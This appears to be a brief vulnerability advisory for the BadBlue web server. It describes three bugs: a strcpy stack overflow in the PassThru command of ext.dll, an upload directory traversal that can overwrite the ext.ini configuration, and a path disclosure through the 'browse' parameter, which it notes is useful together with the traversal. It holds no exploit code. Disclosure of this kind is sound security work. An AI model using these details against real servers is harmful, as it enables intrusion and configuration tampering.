===============
1) Introduction
===============
BadBlue is a commercial web server for sharing files easily.
#######################################################################
=======
2) Bugs
=======
---------------------------
A] PassThru buffer-overflow
---------------------------
When the PassThru command of ext.dll is invoked the BadBlue server
takes the rest of the URI received by the client and copies it in a
stack buffer of 4096 bytes using strcpy() and causing a buffer
overflow.
-----------------------------
B] upload directory traversal
-----------------------------
Using the upload feature is possible for an attacker to upload a
specific file outside the destination folder with also the possibility
of overwriting existent files, included ext.ini which contains all the
configuration of the server.
------------------
C] path disclosure
------------------
The full path of the webserver is visible when using the "?&browse="
parameter on an unexistent folder, useful in conjunction with bug B.
